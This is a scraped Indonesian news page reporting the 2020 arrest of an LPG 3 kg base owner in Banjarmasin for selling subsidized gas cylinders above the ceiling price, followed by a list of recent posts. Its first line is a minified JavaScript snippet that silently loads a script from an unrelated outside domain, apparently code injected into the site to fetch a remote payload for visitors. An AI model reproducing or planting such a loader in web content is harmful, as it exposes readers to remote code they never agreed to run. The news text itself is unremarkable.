(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kriminal Banjarmasin

Jual ke Pengecer, Pemilik Pangkalan LPG 3 Kg di Jahri Saleh Ditangkap


KANALKALIMANTAN.COM, BANJARMASIN –  Lagi, Subdit 1 Tindak Pidana Indagsi Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalsel menindak tegas pelaku usaha LPG 3 Kg bersubsidi yang menjual di atas harga eceran tertinggi (HET).

Sebuah pangkalan gas 3 Kg bersubdisi di jalan Simpang Jahri Saleh No 69 RT 12 RW 02, Kelurahan Sungai Jingah, Kecamatan Banjarmasin Utara, Kota Banjarmasin, Minggu (4/10/2020) pukul 00.45 Wita, di-police line petugas.

Direktur Reskrimsus Polda Kalsel Kombes Pol Masrur melalui Kabid Humas Polda Kalsel Kombes Pol Mochamad Rifa’i menuturkan, sang pemilik pangkalan berinisial IG alias IS (55) diketahui memperdagangkan LPG 3 Kg kepada pengecer dengan jumlah banyak.

“IG (pemilik pangkalan) menjual mulai dari harga Rp 18.000 per tabung sampai dengan harga Rp 23.000 per tabung,” kata Kabid Humas Polda Kalsel.

Pangkalan gas 3 Kg bersubdisi di jalan Simpang Jahri Saleh, Kelurahan Sungai Jingah, Kecamatan Banjarmasin Utara yang ditindak, Minggu (4/10/2020) pukul 00.45 Wita. foto: humas polda kalsel

Bersamaan dengan diamankannya pelaku, petugas juga menyita barang bukti LPG 3 Kg bersubsidi sebanyak 940 tabung terdiri dari LPG 3 Kg (isi) sebanyak 119 tabung, LPG 3 Kg bersubsidi (kosong) sebanyak 821 tabung, 1 unit gerobak kayu, 1 lembar spanduk harga HET, serta log book penyaluran LPG 3 Kg bulan Januari sampai dengan Agustus 2020 masing-masing 1 bundel.

Perbuatan IG alias IS yang memperdagangkan LPG 3 Kg bersubsidi melebihi ketentuan harga penjualan ke konsumen tersebut telah melanggar pasal 62 Ayat (1) Jo pasal 10 huruf (a) UU RI No.8 tahun 1999 tentang perlindungan konsumen Jo Peraturan Presiden Republik Indonesia Nomor 71 tahun 2015 tentang penetapan dan penyimpanan barang kebutuhan pokok dan penting.

“Ini sesjuai instruksi Kapolda Kalsel Irjen Pol Dr Nico Afinta untuk melakukan penindakan terhadap oknum yang melakukan permainan LPG bersubsidi oleh anggota di lapangan,” tandas Kabid Humas Polda Kalsel. (kanalkalimantan.com/rls)

Reporter : rls
Editor : kk

 


Al Ghifari

Recent Posts

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

2 jam ago

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

11 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

12 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

14 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

15 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

15 jam ago

This website uses cookies.